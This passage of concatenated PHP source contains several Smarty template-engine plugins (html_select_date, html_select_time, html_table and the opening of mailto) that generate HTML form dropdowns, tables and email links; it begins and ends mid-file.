    $value = smarty_function_escape_special_chars($value);
    if ($escape) {
        $output = smarty_function_escape_special_chars($output);
    }
    $_output .= '<input type="radio" name="' . $name . '" value="' . $value . '"';
    if ($labels && $label_ids) {
        $_output .= ' id="' . $_id . '"';
    }
    if ($value === $selected) {
        $_output .= ' checked="checked"';
    }
    $_output .= $extra . ' />' . $output;
    if ($labels) {
        $_output .= '</label>';
    }
    $_output .= $separator;
    return $_output;
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsFunction
 */
/**
 * Smarty {html_select_date} plugin
 * Type:     function
 * Name:     html_select_date
 * Purpose:  Prints the dropdowns for date selection.
 * ChangeLog:
 *
 *            - 1.0 initial release
 *            - 1.1 added support for +/- N syntax for begin
 *              and end year values. (Monte)
 *            - 1.2 added support for yyyy-mm-dd syntax for
 *              time value. (Jan Rosier)
 *            - 1.3 added support for choosing format for
 *              month values (Gary Loescher)
 *            - 1.3.1 added support for choosing format for
 *              day values (Marcus Bointon)
 *            - 1.3.2 support negative timestamps, force year
 *              dropdown to include given date unless explicitly set (Monte)
 *            - 1.3.4 fix behaviour of 0000-00-00 00:00:00 dates to match that
 *              of 0000-00-00 dates (cybot, boots)
 *            - 2.0 complete rewrite for performance,
 *              added attributes month_names, *_id
 *
 * @link    https://www.smarty.net/manual/en/language.function.html.select.date.php {html_select_date}
 *           (Smarty online manual)
 * @version 2.0
 * @author  Andrei Zmievski
 * @author  Monte Ohrt <monte at ohrt dot com>
 * @author  Rodney Rehm
 *
 * @param array                     $params parameters
 *
 * @param \Smarty_Internal_Template $template
 *
 * @return string
 * @throws \SmartyException
 */
function smarty_function_html_select_date($params, Smarty_Internal_Template $template)
{
    $template->_checkPlugins(
        array(
            array(
                'function' => 'smarty_function_escape_special_chars',
                'file'     => SMARTY_PLUGINS_DIR . 'shared.escape_special_chars.php'
            )
        )
    );
    // generate timestamps used for month names only
    static $_month_timestamps = null;
    static $_current_year = null;
    if ($_month_timestamps === null) {
        $_current_year = date('Y');
        $_month_timestamps = array();
        for ($i = 1; $i <= 12; $i++) {
            $_month_timestamps[ $i ] = mktime(0, 0, 0, $i, 1, 2000);
        }
    }
    /* Default values. */
    $prefix = 'Date_';
    $start_year = null;
    $end_year = null;
    $display_days = true;
    $display_months = true;
    $display_years = true;
    $month_format = '%B';
    /* Write months as numbers by default  GL */
    $month_value_format = '%m';
    $day_format = '%02d';
    /* Write day values using this format MB */
    $day_value_format = '%d';
    $year_as_text = false;
    /* Display years in reverse order? Ie. 2000,1999,.... */
    $reverse_years = false;
    /* Should the select boxes be part of an array when returned from PHP?
       e.g. setting it to "birthday", would create "birthday[Day]",
       "birthday[Month]" & "birthday[Year]". Can be combined with prefix */
    $field_array = null;
    /* <select size>'s of the different <select> tags.
       If not set, uses default dropdown. */
    $day_size = null;
    $month_size = null;
    $year_size = null;
    /* Unparsed attributes common to *ALL* the <select>/<input> tags.
       An example might be in the template: all_extra ='class ="foo"'. */
    $all_extra = null;
    /* Separate attributes for the tags. */
    $day_extra = null;
    $month_extra = null;
    $year_extra = null;
    /* Order in which to display the fields.
       "D" -> day, "M" -> month, "Y" -> year. */
    $field_order = 'MDY';
    /* String printed between the different fields. */
    $field_separator = "\n";
    $option_separator = "\n";
    $time = null;

    // $all_empty = null;
    // $day_empty = null;
    // $month_empty = null;
    // $year_empty = null;
    $extra_attrs = '';
    $all_id = null;
    $day_id = null;
    $month_id = null;
    $year_id = null;
    foreach ($params as $_key => $_value) {
        switch ($_key) {
            case 'time':
                $$_key = $_value; // we'll handle conversion below
                break;
            case 'month_names':
                if (is_array($_value) && count($_value) === 12) {
                    $$_key = $_value;
                } else {
                    trigger_error('html_select_date: month_names must be an array of 12 strings', E_USER_NOTICE);
                }
                break;
            case 'prefix':
            case 'field_array':
            case 'start_year':
            case 'end_year':
            case 'day_format':
            case 'day_value_format':
            case 'month_format':
            case 'month_value_format':
            case 'day_size':
            case 'month_size':
            case 'year_size':
            case 'all_extra':
            case 'day_extra':
            case 'month_extra':
            case 'year_extra':
            case 'field_order':
            case 'field_separator':
            case 'option_separator':
            case 'all_empty':
            case 'month_empty':
            case 'day_empty':
            case 'year_empty':
            case 'all_id':
            case 'month_id':
            case 'day_id':
            case 'year_id':
                $$_key = (string)$_value;
                break;
            case 'display_days':
            case 'display_months':
            case 'display_years':
            case 'year_as_text':
            case 'reverse_years':
                $$_key = (bool)$_value;
                break;
            default:
                if (!is_array($_value)) {
                    $extra_attrs .= ' ' . $_key . '="' . smarty_function_escape_special_chars($_value) . '"';
                } else {
                    trigger_error("html_select_date: extra attribute '{$_key}' cannot be an array", E_USER_NOTICE);
                }
                break;
        }
    }
    // Note: date() is faster than strftime()
    // Note: explode(date()) is faster than date() date() date()

    if (isset($time) && is_array($time)) {
        if (isset($time[$prefix . 'Year'])) {
            // $_REQUEST[$field_array] given
            foreach ([
                         'Y' => 'Year',
                         'm' => 'Month',
                         'd' => 'Day'
                     ] as $_elementKey => $_elementName) {
                $_variableName = '_' . strtolower($_elementName);
                $$_variableName =
                    isset($time[$prefix . $_elementName]) ? $time[$prefix . $_elementName] :
                        date($_elementKey);
            }
        } elseif (isset($time[$field_array][$prefix . 'Year'])) {
            // $_REQUEST given
            foreach ([
                         'Y' => 'Year',
                         'm' => 'Month',
                         'd' => 'Day'
                     ] as $_elementKey => $_elementName) {
                $_variableName = '_' . strtolower($_elementName);
                $$_variableName = isset($time[$field_array][$prefix . $_elementName]) ?
                    $time[$field_array][$prefix . $_elementName] : date($_elementKey);
            }
        } else {
            // no date found, use NOW
            [$_year, $_month, $_day] = explode('-', date('Y-m-d'));
        }
    } elseif (isset($time) && preg_match("/(\d*)-(\d*)-(\d*)/", $time, $matches)) {
        $_year = $_month = $_day = null;
        if ($matches[1] > '') $_year = (int) $matches[1];
        if ($matches[2] > '') $_month = (int) $matches[2];
        if ($matches[3] > '') $_day = (int) $matches[3];
    } elseif ($time === null) {
        if (array_key_exists('time', $params)) {
            $_year = $_month = $_day = null;
        } else {
            [$_year, $_month, $_day] = explode('-', date('Y-m-d'));
        }
    } else {
        $template->_checkPlugins(
            array(
                array(
                    'function' => 'smarty_make_timestamp',
                    'file'     => SMARTY_PLUGINS_DIR . 'shared.make_timestamp.php'
                )
            )
        );
        $time = smarty_make_timestamp($time);
        [$_year, $_month, $_day] = explode('-', date('Y-m-d', $time));
    }

    // make syntax "+N" or "-N" work with $start_year and $end_year
    // Note preg_match('!^(\+|\-)\s*(\d+)$!', $end_year, $match) is slower than trim+substr
    foreach (array(
        'start',
        'end'
    ) as $key) {
        $key .= '_year';
        $t = $$key;
        if ($t === null) {
            $$key = (int)$_current_year;
        } elseif ($t[ 0 ] === '+') {
            $$key = (int)($_current_year + (int)trim(substr($t, 1)));
        } elseif ($t[ 0 ] === '-') {
            $$key = (int)($_current_year - (int)trim(substr($t, 1)));
        } else {
            $$key = (int)$$key;
        }
    }
    // flip for ascending or descending
    if (($start_year > $end_year && !$reverse_years) || ($start_year < $end_year && $reverse_years)) {
        $t = $end_year;
        $end_year = $start_year;
        $start_year = $t;
    }
    // generate year <select> or <input>
    if ($display_years) {
        $_extra = '';
        $_name = $field_array ? ($field_array . '[' . $prefix . 'Year]') : ($prefix . 'Year');
        if ($all_extra) {
            $_extra .= ' ' . $all_extra;
        }
        if ($year_extra) {
            $_extra .= ' ' . $year_extra;
        }
        if ($year_as_text) {
            $_html_years =
                '<input type="text" name="' . $_name . '" value="' . $_year . '" size="4" maxlength="4"' . $_extra .
                $extra_attrs . ' />';
        } else {
            $_html_years = '<select name="' . $_name . '"';
            if ($year_id !== null || $all_id !== null) {
                $_html_years .= ' id="' . smarty_function_escape_special_chars(
                        $year_id !== null ?
                            ($year_id ? $year_id : $_name) :
                            ($all_id ? ($all_id . $_name) :
                                $_name)
                    ) . '"';
            }
            if ($year_size) {
                $_html_years .= ' size="' . $year_size . '"';
            }
            $_html_years .= $_extra . $extra_attrs . '>' . $option_separator;
            if (isset($year_empty) || isset($all_empty)) {
                $_html_years .= '<option value="">' . (isset($year_empty) ? $year_empty : $all_empty) . '</option>' .
                                $option_separator;
            }
            $op = $start_year > $end_year ? -1 : 1;
            for ($i = $start_year; $op > 0 ? $i <= $end_year : $i >= $end_year; $i += $op) {
                $_html_years .= '<option value="' . $i . '"' . ($_year == $i ? ' selected="selected"' : '') . '>' . $i .
                                '</option>' . $option_separator;
            }
            $_html_years .= '</select>';
        }
    }
    // generate month <select> or <input>
    if ($display_months) {
        $_extra = '';
        $_name = $field_array ? ($field_array . '[' . $prefix . 'Month]') : ($prefix . 'Month');
        if ($all_extra) {
            $_extra .= ' ' . $all_extra;
        }
        if ($month_extra) {
            $_extra .= ' ' . $month_extra;
        }
        $_html_months = '<select name="' . $_name . '"';
        if ($month_id !== null || $all_id !== null) {
            $_html_months .= ' id="' . smarty_function_escape_special_chars(
                    $month_id !== null ?
                        ($month_id ? $month_id : $_name) :
                        ($all_id ? ($all_id . $_name) :
                            $_name)
                ) . '"';
        }
        if ($month_size) {
            $_html_months .= ' size="' . $month_size . '"';
        }
        $_html_months .= $_extra . $extra_attrs . '>' . $option_separator;
        if (isset($month_empty) || isset($all_empty)) {
            $_html_months .= '<option value="">' . (isset($month_empty) ? $month_empty : $all_empty) . '</option>' .
                             $option_separator;
        }
        for ($i = 1; $i <= 12; $i++) {
            $_val = sprintf('%02d', $i);
            $_text = isset($month_names) ? smarty_function_escape_special_chars($month_names[ $i ]) :
                ($month_format === '%m' ? $_val : @strftime($month_format, $_month_timestamps[ $i ]));
            $_value = $month_value_format === '%m' ? $_val : @strftime($month_value_format, $_month_timestamps[ $i ]);
            $_html_months .= '<option value="' . $_value . '"' . ($_val == $_month ? ' selected="selected"' : '') .
                             '>' . $_text . '</option>' . $option_separator;
        }
        $_html_months .= '</select>';
    }
    // generate day <select> or <input>
    if ($display_days) {
        $_extra = '';
        $_name = $field_array ? ($field_array . '[' . $prefix . 'Day]') : ($prefix . 'Day');
        if ($all_extra) {
            $_extra .= ' ' . $all_extra;
        }
        if ($day_extra) {
            $_extra .= ' ' . $day_extra;
        }
        $_html_days = '<select name="' . $_name . '"';
        if ($day_id !== null || $all_id !== null) {
            $_html_days .= ' id="' .
                           smarty_function_escape_special_chars(
                               $day_id !== null ? ($day_id ? $day_id : $_name) :
                                   ($all_id ? ($all_id . $_name) : $_name)
                           ) . '"';
        }
        if ($day_size) {
            $_html_days .= ' size="' . $day_size . '"';
        }
        $_html_days .= $_extra . $extra_attrs . '>' . $option_separator;
        if (isset($day_empty) || isset($all_empty)) {
            $_html_days .= '<option value="">' . (isset($day_empty) ? $day_empty : $all_empty) . '</option>' .
                           $option_separator;
        }
        for ($i = 1; $i <= 31; $i++) {
            $_val = sprintf('%02d', $i);
            $_text = $day_format === '%02d' ? $_val : sprintf($day_format, $i);
            $_value = $day_value_format === '%02d' ? $_val : sprintf($day_value_format, $i);
            $_html_days .= '<option value="' . $_value . '"' . ($_val == $_day ? ' selected="selected"' : '') . '>' .
                           $_text . '</option>' . $option_separator;
        }
        $_html_days .= '</select>';
    }
    // order the fields for output
    $_html = '';
    for ($i = 0; $i <= 2; $i++) {
        switch ($field_order[ $i ]) {
            case 'Y':
            case 'y':
                if (isset($_html_years)) {
                    if ($_html) {
                        $_html .= $field_separator;
                    }
                    $_html .= $_html_years;
                }
                break;
            case 'm':
            case 'M':
                if (isset($_html_months)) {
                    if ($_html) {
                        $_html .= $field_separator;
                    }
                    $_html .= $_html_months;
                }
                break;
            case 'd':
            case 'D':
                if (isset($_html_days)) {
                    if ($_html) {
                        $_html .= $field_separator;
                    }
                    $_html .= $_html_days;
                }
                break;
        }
    }
    return $_html;
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsFunction
 */
/**
 * Smarty {html_select_time} function plugin
 * Type:     function
 * Name:     html_select_time
 * Purpose:  Prints the dropdowns for time selection
 *
 * @link   https://www.smarty.net/manual/en/language.function.html.select.time.php {html_select_time}
 *           (Smarty online manual)
 * @author Roberto Berto <roberto@berto.net>
 * @author Monte Ohrt <monte AT ohrt DOT com>
 *
 * @param array                     $params parameters
 *
 * @param \Smarty_Internal_Template $template
 *
 * @return string
 * @uses   smarty_make_timestamp()
 * @throws \SmartyException
 */
function smarty_function_html_select_time($params, Smarty_Internal_Template $template)
{
    $template->_checkPlugins(
        array(
            array(
                'function' => 'smarty_function_escape_special_chars',
                'file'     => SMARTY_PLUGINS_DIR . 'shared.escape_special_chars.php'
            )
        )
    );
    $prefix = 'Time_';
    $field_array = null;
    $field_separator = "\n";
    $option_separator = "\n";
    $time = null;
    $display_hours = true;
    $display_minutes = true;
    $display_seconds = true;
    $display_meridian = true;
    $hour_format = '%02d';
    $hour_value_format = '%02d';
    $minute_format = '%02d';
    $minute_value_format = '%02d';
    $second_format = '%02d';
    $second_value_format = '%02d';
    $hour_size = null;
    $minute_size = null;
    $second_size = null;
    $meridian_size = null;
    $all_empty = null;
    $hour_empty = null;
    $minute_empty = null;
    $second_empty = null;
    $meridian_empty = null;
    $all_id = null;
    $hour_id = null;
    $minute_id = null;
    $second_id = null;
    $meridian_id = null;
    $use_24_hours = true;
    $minute_interval = 1;
    $second_interval = 1;
    $extra_attrs = '';
    $all_extra = null;
    $hour_extra = null;
    $minute_extra = null;
    $second_extra = null;
    $meridian_extra = null;
    foreach ($params as $_key => $_value) {
        switch ($_key) {
            case 'time':
                if (!is_array($_value) && $_value !== null) {
                    $template->_checkPlugins(
                        array(
                            array(
                                'function' => 'smarty_make_timestamp',
                                'file'     => SMARTY_PLUGINS_DIR . 'shared.make_timestamp.php'
                            )
                        )
                    );
                    $time = smarty_make_timestamp($_value);
                }
                break;
            case 'prefix':
            case 'field_array':
            case 'field_separator':
            case 'option_separator':
            case 'all_extra':
            case 'hour_extra':
            case 'minute_extra':
            case 'second_extra':
            case 'meridian_extra':
            case 'all_empty':
            case 'hour_empty':
            case 'minute_empty':
            case 'second_empty':
            case 'meridian_empty':
            case 'all_id':
            case 'hour_id':
            case 'minute_id':
            case 'second_id':
            case 'meridian_id':
            case 'hour_format':
            case 'hour_value_format':
            case 'minute_format':
            case 'minute_value_format':
            case 'second_format':
            case 'second_value_format':
                $$_key = (string)$_value;
                break;
            case 'display_hours':
            case 'display_minutes':
            case 'display_seconds':
            case 'display_meridian':
            case 'use_24_hours':
                $$_key = (bool)$_value;
                break;
            case 'minute_interval':
            case 'second_interval':
            case 'hour_size':
            case 'minute_size':
            case 'second_size':
            case 'meridian_size':
                $$_key = (int)$_value;
                break;
            default:
                if (!is_array($_value)) {
                    $extra_attrs .= ' ' . $_key . '="' . smarty_function_escape_special_chars($_value) . '"';
                } else {
                    trigger_error("html_select_date: extra attribute '{$_key}' cannot be an array", E_USER_NOTICE);
                }
                break;
        }
    }
    if (isset($params[ 'time' ]) && is_array($params[ 'time' ])) {
        if (isset($params[ 'time' ][ $prefix . 'Hour' ])) {
            // $_REQUEST[$field_array] given
            foreach (array(
                'H' => 'Hour',
                'i' => 'Minute',
                's' => 'Second'
            ) as $_elementKey => $_elementName) {
                $_variableName = '_' . strtolower($_elementName);
                $$_variableName =
                    isset($params[ 'time' ][ $prefix . $_elementName ]) ? $params[ 'time' ][ $prefix . $_elementName ] :
                        date($_elementKey);
            }
            $_meridian =
                isset($params[ 'time' ][ $prefix . 'Meridian' ]) ? (' ' . $params[ 'time' ][ $prefix . 'Meridian' ]) :
                    '';
            $time = strtotime($_hour . ':' . $_minute . ':' . $_second . $_meridian);
            list($_hour, $_minute, $_second) = $time = explode('-', date('H-i-s', $time));
        } elseif (isset($params[ 'time' ][ $field_array ][ $prefix . 'Hour' ])) {
            // $_REQUEST given
            foreach (array(
                'H' => 'Hour',
                'i' => 'Minute',
                's' => 'Second'
            ) as $_elementKey => $_elementName) {
                $_variableName = '_' . strtolower($_elementName);
                $$_variableName = isset($params[ 'time' ][ $field_array ][ $prefix . $_elementName ]) ?
                    $params[ 'time' ][ $field_array ][ $prefix . $_elementName ] : date($_elementKey);
            }
            $_meridian = isset($params[ 'time' ][ $field_array ][ $prefix . 'Meridian' ]) ?
                (' ' . $params[ 'time' ][ $field_array ][ $prefix . 'Meridian' ]) : '';
            $time = strtotime($_hour . ':' . $_minute . ':' . $_second . $_meridian);
            list($_hour, $_minute, $_second) = $time = explode('-', date('H-i-s', $time));
        } else {
            // no date found, use NOW
            list($_year, $_month, $_day) = $time = explode('-', date('Y-m-d'));
        }
    } elseif ($time === null) {
        if (array_key_exists('time', $params)) {
            $_hour = $_minute = $_second = $time = null;
        } else {
            list($_hour, $_minute, $_second) = $time = explode('-', date('H-i-s'));
        }
    } else {
        list($_hour, $_minute, $_second) = $time = explode('-', date('H-i-s', $time));
    }
    // generate hour <select>
    if ($display_hours) {
        $_html_hours = '';
        $_extra = '';
        $_name = $field_array ? ($field_array . '[' . $prefix . 'Hour]') : ($prefix . 'Hour');
        if ($all_extra) {
            $_extra .= ' ' . $all_extra;
        }
        if ($hour_extra) {
            $_extra .= ' ' . $hour_extra;
        }
        $_html_hours = '<select name="' . $_name . '"';
        if ($hour_id !== null || $all_id !== null) {
            $_html_hours .= ' id="' .
                            smarty_function_escape_special_chars(
                                $hour_id !== null ? ($hour_id ? $hour_id : $_name) :
                                    ($all_id ? ($all_id . $_name) : $_name)
                            ) . '"';
        }
        if ($hour_size) {
            $_html_hours .= ' size="' . $hour_size . '"';
        }
        $_html_hours .= $_extra . $extra_attrs . '>' . $option_separator;
        if (isset($hour_empty) || isset($all_empty)) {
            $_html_hours .= '<option value="">' . (isset($hour_empty) ? $hour_empty : $all_empty) . '</option>' .
                            $option_separator;
        }
        $start = $use_24_hours ? 0 : 1;
        $end = $use_24_hours ? 23 : 12;
        for ($i = $start; $i <= $end; $i++) {
            $_val = sprintf('%02d', $i);
            $_text = $hour_format === '%02d' ? $_val : sprintf($hour_format, $i);
            $_value = $hour_value_format === '%02d' ? $_val : sprintf($hour_value_format, $i);
            if (!$use_24_hours) {
                $_hour12 = $_hour == 0 ? 12 : ($_hour <= 12 ? $_hour : $_hour - 12);
            }
            $selected = $_hour !== null ? ($use_24_hours ? $_hour == $_val : $_hour12 == $_val) : null;
            $_html_hours .= '<option value="' . $_value . '"' . ($selected ? ' selected="selected"' : '') . '>' .
                            $_text . '</option>' . $option_separator;
        }
        $_html_hours .= '</select>';
    }
    // generate minute <select>
    if ($display_minutes) {
        $_html_minutes = '';
        $_extra = '';
        $_name = $field_array ? ($field_array . '[' . $prefix . 'Minute]') : ($prefix . 'Minute');
        if ($all_extra) {
            $_extra .= ' ' . $all_extra;
        }
        if ($minute_extra) {
            $_extra .= ' ' . $minute_extra;
        }
        $_html_minutes = '<select name="' . $_name . '"';
        if ($minute_id !== null || $all_id !== null) {
            $_html_minutes .= ' id="' . smarty_function_escape_special_chars(
                    $minute_id !== null ?
                        ($minute_id ? $minute_id : $_name) :
                        ($all_id ? ($all_id . $_name) :
                            $_name)
                ) . '"';
        }
        if ($minute_size) {
            $_html_minutes .= ' size="' . $minute_size . '"';
        }
        $_html_minutes .= $_extra . $extra_attrs . '>' . $option_separator;
        if (isset($minute_empty) || isset($all_empty)) {
            $_html_minutes .= '<option value="">' . (isset($minute_empty) ? $minute_empty : $all_empty) . '</option>' .
                              $option_separator;
        }
        $selected = $_minute !== null ? ($_minute - $_minute % $minute_interval) : null;
        for ($i = 0; $i <= 59; $i += $minute_interval) {
            $_val = sprintf('%02d', $i);
            $_text = $minute_format === '%02d' ? $_val : sprintf($minute_format, $i);
            $_value = $minute_value_format === '%02d' ? $_val : sprintf($minute_value_format, $i);
            $_html_minutes .= '<option value="' . $_value . '"' . ($selected === $i ? ' selected="selected"' : '') .
                              '>' . $_text . '</option>' . $option_separator;
        }
        $_html_minutes .= '</select>';
    }
    // generate second <select>
    if ($display_seconds) {
        $_html_seconds = '';
        $_extra = '';
        $_name = $field_array ? ($field_array . '[' . $prefix . 'Second]') : ($prefix . 'Second');
        if ($all_extra) {
            $_extra .= ' ' . $all_extra;
        }
        if ($second_extra) {
            $_extra .= ' ' . $second_extra;
        }
        $_html_seconds = '<select name="' . $_name . '"';
        if ($second_id !== null || $all_id !== null) {
            $_html_seconds .= ' id="' . smarty_function_escape_special_chars(
                    $second_id !== null ?
                        ($second_id ? $second_id : $_name) :
                        ($all_id ? ($all_id . $_name) :
                            $_name)
                ) . '"';
        }
        if ($second_size) {
            $_html_seconds .= ' size="' . $second_size . '"';
        }
        $_html_seconds .= $_extra . $extra_attrs . '>' . $option_separator;
        if (isset($second_empty) || isset($all_empty)) {
            $_html_seconds .= '<option value="">' . (isset($second_empty) ? $second_empty : $all_empty) . '</option>' .
                              $option_separator;
        }
        $selected = $_second !== null ? ($_second - $_second % $second_interval) : null;
        for ($i = 0; $i <= 59; $i += $second_interval) {
            $_val = sprintf('%02d', $i);
            $_text = $second_format === '%02d' ? $_val : sprintf($second_format, $i);
            $_value = $second_value_format === '%02d' ? $_val : sprintf($second_value_format, $i);
            $_html_seconds .= '<option value="' . $_value . '"' . ($selected === $i ? ' selected="selected"' : '') .
                              '>' . $_text . '</option>' . $option_separator;
        }
        $_html_seconds .= '</select>';
    }
    // generate meridian <select>
    if ($display_meridian && !$use_24_hours) {
        $_html_meridian = '';
        $_extra = '';
        $_name = $field_array ? ($field_array . '[' . $prefix . 'Meridian]') : ($prefix . 'Meridian');
        if ($all_extra) {
            $_extra .= ' ' . $all_extra;
        }
        if ($meridian_extra) {
            $_extra .= ' ' . $meridian_extra;
        }
        $_html_meridian = '<select name="' . $_name . '"';
        if ($meridian_id !== null || $all_id !== null) {
            $_html_meridian .= ' id="' . smarty_function_escape_special_chars(
                    $meridian_id !== null ?
                        ($meridian_id ? $meridian_id :
                            $_name) :
                        ($all_id ? ($all_id . $_name) :
                            $_name)
                ) . '"';
        }
        if ($meridian_size) {
            $_html_meridian .= ' size="' . $meridian_size . '"';
        }
        $_html_meridian .= $_extra . $extra_attrs . '>' . $option_separator;
        if (isset($meridian_empty) || isset($all_empty)) {
            $_html_meridian .= '<option value="">' . (isset($meridian_empty) ? $meridian_empty : $all_empty) .
                               '</option>' . $option_separator;
        }
        $_html_meridian .= '<option value="am"' . ($_hour > 0 && $_hour < 12 ? ' selected="selected"' : '') .
                           '>AM</option>' . $option_separator . '<option value="pm"' .
                           ($_hour < 12 ? '' : ' selected="selected"') . '>PM</option>' . $option_separator .
                           '</select>';
    }
    $_html = '';
    foreach (array(
        '_html_hours',
        '_html_minutes',
        '_html_seconds',
        '_html_meridian'
    ) as $k) {
        if (isset($$k)) {
            if ($_html) {
                $_html .= $field_separator;
            }
            $_html .= $$k;
        }
    }
    return $_html;
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsFunction
 */
/**
 * Smarty {html_table} function plugin
 * Type:     function
 * Name:     html_table
 * Date:     Feb 17, 2003
 * Purpose:  make an html table from an array of data
 * Params:
 *
 * - loop       - array to loop through
 * - cols       - number of columns, comma separated list of column names
 *                or array of column names
 * - rows       - number of rows
 * - table_attr - table attributes
 * - th_attr    - table heading attributes (arrays are cycled)
 * - tr_attr    - table row attributes (arrays are cycled)
 * - td_attr    - table cell attributes (arrays are cycled)
 * - trailpad   - value to pad trailing cells with
 * - caption    - text for caption element
 * - vdir       - vertical direction (default: "down", means top-to-bottom)
 * - hdir       - horizontal direction (default: "right", means left-to-right)
 * - inner      - inner loop (default "cols": print $loop line by line,
 *                $loop will be printed column by column otherwise)
 *
 * Examples:
 *
 * {table loop=$data}
 * {table loop=$data cols=4 tr_attr='"bgcolor=red"'}
 * {table loop=$data cols="first,second,third" tr_attr=$colors}
 *
 * @author  Monte Ohrt <monte at ohrt dot com>
 * @author  credit to Messju Mohr <messju at lammfellpuschen dot de>
 * @author  credit to boots <boots dot smarty at yahoo dot com>
 * @version 1.1
 * @link    https://www.smarty.net/manual/en/language.function.html.table.php {html_table}
 *           (Smarty online manual)
 *
 * @param array $params parameters
 *
 * @return string
 */
function smarty_function_html_table($params)
{
    $table_attr = 'border="1"';
    $tr_attr = '';
    $th_attr = '';
    $td_attr = '';
    $cols = $cols_count = 3;
    $rows = 3;
    $trailpad = '&nbsp;';
    $vdir = 'down';
    $hdir = 'right';
    $inner = 'cols';
    $caption = '';
    $loop = null;
    if (!isset($params[ 'loop' ])) {
        trigger_error("html_table: missing 'loop' parameter", E_USER_WARNING);
        return;
    }
    foreach ($params as $_key => $_value) {
        switch ($_key) {
            case 'loop':
                $$_key = (array)$_value;
                break;
            case 'cols':
                if (is_array($_value) && !empty($_value)) {
                    $cols = $_value;
                    $cols_count = count($_value);
                } elseif (!is_numeric($_value) && is_string($_value) && !empty($_value)) {
                    $cols = explode(',', $_value);
                    $cols_count = count($cols);
                } elseif (!empty($_value)) {
                    $cols_count = (int)$_value;
                } else {
                    $cols_count = $cols;
                }
                break;
            case 'rows':
                $$_key = (int)$_value;
                break;
            case 'table_attr':
            case 'trailpad':
            case 'hdir':
            case 'vdir':
            case 'inner':
            case 'caption':
                $$_key = (string)$_value;
                break;
            case 'tr_attr':
            case 'td_attr':
            case 'th_attr':
                $$_key = $_value;
                break;
        }
    }
    $loop_count = count($loop);
    if (empty($params[ 'rows' ])) {
        /* no rows specified */
        $rows = ceil($loop_count / $cols_count);
    } elseif (empty($params[ 'cols' ])) {
        if (!empty($params[ 'rows' ])) {
            /* no cols specified, but rows */
            $cols_count = ceil($loop_count / $rows);
        }
    }
    $output = "<table $table_attr>\n";
    if (!empty($caption)) {
        $output .= '<caption>' . $caption . "</caption>\n";
    }
    if (is_array($cols)) {
        $cols = ($hdir === 'right') ? $cols : array_reverse($cols);
        $output .= "<thead><tr>\n";
        for ($r = 0; $r < $cols_count; $r++) {
            $output .= '<th' . smarty_function_html_table_cycle('th', $th_attr, $r) . '>';
            $output .= $cols[ $r ];
            $output .= "</th>\n";
        }
        $output .= "</tr></thead>\n";
    }
    $output .= "<tbody>\n";
    for ($r = 0; $r < $rows; $r++) {
        $output .= "<tr" . smarty_function_html_table_cycle('tr', $tr_attr, $r) . ">\n";
        $rx = ($vdir === 'down') ? $r * $cols_count : ($rows - 1 - $r) * $cols_count;
        for ($c = 0; $c < $cols_count; $c++) {
            $x = ($hdir === 'right') ? $rx + $c : $rx + $cols_count - 1 - $c;
            if ($inner !== 'cols') {
                /* shuffle x to loop over rows*/
                $x = floor($x / $cols_count) + ($x % $cols_count) * $rows;
            }
            if ($x < $loop_count) {
                $output .= "<td" . smarty_function_html_table_cycle('td', $td_attr, $c) . ">" . $loop[ $x ] . "</td>\n";
            } else {
                $output .= "<td" . smarty_function_html_table_cycle('td', $td_attr, $c) . ">$trailpad</td>\n";
            }
        }
        $output .= "</tr>\n";
    }
    $output .= "</tbody>\n";
    $output .= "</table>\n";
    return $output;
}

/**
 * @param $name
 * @param $var
 * @param $no
 *
 * @return string
 */
function smarty_function_html_table_cycle($name, $var, $no)
{
    if (!is_array($var)) {
        $ret = $var;
    } else {
        $ret = $var[ $no % count($var) ];
    }
    return ($ret) ? ' ' . $ret : '';
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsFunction
 */
/**
 * Smarty {mailto} function plugin
 * Type:     function
 * Name:     mailto
 * Date:     May 21, 2002
 * Purpose:  automate mailto address link creation, and optionally encode them.
 * Params:
 *
 * - address    - (required) - e-mail address
 * - text       - (optional) - text to display, default is address
 * - encode     - (optional) - can be one of:
 *                             * none : no encoding (default)
 *                             * javascript : encode with javascript
 *                             * javascript_charcode : encode with javascript charcode
 *                             * hex : encode with hexadecimal (no javascript)
 * - cc         - (optional) - address(es) to carbon copy
 * - bcc        - (optional) - address(es) to blind carbon copy
 * - subject    - (optional) - e-mail subject
 * - newsgroups - (optional) - newsgroup(s) to post to
 * - followupto - (optional) - address(es) to follow up to
 * - extra      - (optional) - extra tags for the href link
 *
 * Examples:
 *
 * {mailto address="me@domain.com"}
 * {mailto address="me@domain.com" encode="javascript"}
 * {mailto address="me@domain.com" encode="hex"}
 * {mailto address="me@domain.com" subject="Hello to you!"}
 * {mailto address="me@domain.com" cc="you@domain.com,they@domain.com"}
 * {mailto address="me@domain.com" extra='class="mailto"'}
 *
 * @link    https://www.smarty.net/manual/en/language.function.mailto.php {mailto}
 *           (Smarty online manual)
 * @version 1.2
 * @author  Monte Ohrt <monte at ohrt dot com>
 * @author  credits to Jason Sweat (added cc, bcc and subject functionality)
 *
 * @param array $params parameters
 *
 * @return string
 */
function smarty_function_mailto($params)
{
    static $_allowed_encoding = [
        'javascript' => true,
        'javascript_charcode' => true,
        'hex' => true,
        'none' => true
    ];

    $extra = '';
    if (empty($params[ 'address' ])) {
        trigger_error("mailto: missing 'address' parameter", E_USER_WARNING);
        return;
    } else {
        $address = $params[ 'address' ];
    }

    $text = $address;

    // netscape and mozilla do not decode %40 (@) in BCC field (bug?)
    // so, don't encode it.
    $mail_parms = [];
    foreach ($params as $var => $value) {
        switch ($var) {
            case 'cc':
            case 'bcc':
            case 'followupto':
                if (!empty($value)) {
                    $mail_parms[] = $var . '=' . str_replace(['%40', '%2C'], ['@', ','], rawurlencode($value));
                }
                break;
            case 'subject':
            case 'newsgroups':
                $mail_parms[] = $var . '=' . rawurlencode($value);
                break;
            case 'extra':
            case 'text':
                $$var = $value;
            // no break
            default:
        }
    }

    if ($mail_parms) {
        $address .= '?' . join('&', $mail_parms);
    }
    $encode = (empty($params[ 'encode' ])) ? 'none' : $params[ 'encode' ];
    if (!isset($_allowed_encoding[ $encode ])) {
        trigger_error(
            "mailto: 'encode' parameter must be none, javascript, javascript_charcode or hex",
            E_USER_WARNING
        );
        return;
    }

